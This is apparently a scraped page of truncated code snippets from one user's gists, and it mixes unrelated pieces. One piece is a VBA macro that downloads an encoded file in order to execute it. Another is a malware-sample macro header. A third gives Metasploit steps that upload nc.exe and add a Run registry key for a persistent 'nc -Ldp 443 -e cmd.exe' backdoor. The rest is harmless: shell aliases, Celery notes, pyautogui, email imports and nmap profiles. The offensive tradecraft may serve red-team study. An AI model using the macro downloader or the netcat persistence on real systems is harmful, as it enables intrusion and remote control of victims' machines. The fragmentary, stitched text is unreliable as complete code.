robpotter89

Sub DownloadAndExec()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://trusted.domain/encoded.crt", False
xHttp.Send

With bStrm
    .Type = 1 '//binary
    .Open

robpotter89

'get OS, if nt else if OS X
Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long

' A Base64 Encoder/Decoder.
'
' This module is used to encode and decode data in Base64 format as described in RFC 1521.
'
' Home page: www.source-code.biz.
' License: GNU/LGPL (www.gnu.org/licenses/lgpl.html).
' Copyright 2007: Christian d'Heureuse, Inventec Informatik AG, Switzerland.

robpotter89

//sample: 1554e74b935a61d446cb634f80d7d1e200e864bc
//posted by @JohnLaTwC
// Also see research by Sudeep Singh, Yin Hong Chang @ https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html

----------------------------------------------- macro ----------------------------------

Private Sub Workbook_Open()
    Call doom_Init
    Call doom_ShowHideSheets
End Sub

robpotter89

 ## msf netcat backdoor in persistance
-  netcat is uncluded in metasploit
-
- upload /usr/share/windwos-binaries/nc.exe C:\\windows\\system32  ## must have system rights
-
-
- ## registry key adding
- echo reg enumkey -k HKLM\\Software\\microsoft\\windows\\currentversion\\run
- echo reg setval -k HKLM\\Software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
- echo reg queryval -k HKLM\\Software\\microsoft\\windows\\currentversion\\run -v nc

robpotter89

alias ..="cd .."
alias ...="cd ../.."
alias ....="cd ../../.."
alias .....="cd ../../../.."
alias ~="cd ~" # `cd` is probably faster to type though
alias -- -="cd -"alias cd..="cd .."
alias dl="cd ~/Downloads"
alias h="history"
alias pubip="dig +short myip.opendns.com @resolver1.opendns.com"
alias localip="sudo ifconfig | grep -Eo 'inet (addr:)?([0-9]*\\.){3}[0-9]*' | grep -Eo '([0-9]*\\.){3}[0-9]*' | grep -v '127.0.0.1'"

robpotter89

#!/bin/bash
clear
echo ' __________             _____________               ______            _________ '
echo ' ___  ____/_____ _________  /___  __ \_____ _____  ____  /___________ ______  / '
echo ' __  /_   _  __ `/_  ___/  __/_  /_/ /  __ `/_  / / /_  /_  __ \  __ `/  __  /  '
echo ' _  __/   / /_/ /_(__  )/ /_ _  ____// /_/ /_  /_/ /_  / / /_/ / /_/ // /_/ /   '
echo ' /_/      \__,_/ /____/ \__/ /_/     \__,_/ _\__, / /_/  \____/\__,_/ \__,_/    '
echo '                                          /____/                                '
echo '         _________                              _____                           '
echo '         __  ____/_____________________________ __  /______________             '

robpotter89

#####What is Celery?
Celery is an asynchronous task queue. You can use it to execute tasks outside of the context of your application. The general idea is that any resource consuming tasks that your application may need to run can be offloaded to the task queue, leaving your application free to respond to client requests.

Celery has three core components:

• The Celery client. This is used to issue background jobs.
• The Celery workers. These are the processes that run the background jobs. Celery supports local and remote workers, so you can start with a single worker running on the same machine as your application server, and later add more workers as the needs of your application grow.
• The message broker. The client communicates with the the workers through a message queue, and Celery supports several ways to implement these queues. The most commonly used brokers are RabbitMQ and Redis.

robpotter89

#!/usr/bin/env python

import sys
import pyautogui
from datetime import datetime, timedelta

def move_rel(dx, dy, dur):
    pyautogui.moveRel(dx, dy, dur, pyautogui.easeInQuad)

def square(side, dur):

robpotter89

# Python Standard Library
import smtplib
import ssl
import webbrowser
from datetime import datetime as dt
from email.mime.text import MIMEText
from time import sleep
from urllib.request import urlopen

# Third-party

robpotter89

import re
import nmap

"""
name: nmap_profile.py
author: bryan angelo
description: A collection of Nmap scan profiles for python-nmap.
"""

nmap_profiles = {